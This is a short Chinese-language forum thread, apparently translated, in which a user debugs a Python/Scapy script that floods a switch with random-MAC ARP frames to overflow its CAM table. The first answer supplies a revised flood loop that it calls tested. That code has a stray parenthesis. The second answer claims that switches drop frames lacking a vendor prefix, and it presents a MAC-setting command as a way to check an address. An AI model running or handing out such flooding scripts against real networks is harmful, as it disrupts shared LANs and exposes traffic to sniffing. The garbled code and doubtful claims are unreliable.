Python/Scapy MAC 泛洪脚本
我正在尝试用Python制作一个小的MAC洪水工具,目的是填满我的交换机的CAM表,但我就是搞不定这个事情。你能帮我看看我哪里出错了吗?
from scapy.all import *
while 1:
dest_mac = RandMAC()
src_mac = RandMAC()
sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)
虽然代码看起来运行得不错,但就是没有完成它应该做的事情。为了测试,我用Wireshark查看了数据包,然后运行了THC的parasite工具(这个工具是可以工作的),结果发现数据包几乎是一样的,所以我不太明白到底发生了什么。谢谢你的任何帮助。
2 个回答
0
Emada,
交换机通过只使用源地址来学习MAC地址,所以不需要担心目标地址的随机化问题。
我测试过这个,效果不错。你也可以试试sendpfast选项来进行洪泛,不过在我的测试中,sendp似乎更快一些?
from scapy.all import *
while 1:
sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))
1
你只能使用特定的MAC地址:MAC地址由六组两位的十六进制数字组成,这些数字之间用连字符(-)或冒号(:)分隔。前面三组必须填写一些特定的值,这些值对于每个厂商来说都是不同的。如果这些字段没有设置任何厂商代码,服务器(或客户端)就会丢弃这个数据包。你可以在Wireshark的manuf文件中找到MAC厂商的列表,或者直接用谷歌搜索一下。你可以在终端输入“sudo ifconfig IFACE ether hw ADDRESS”来检查这个地址。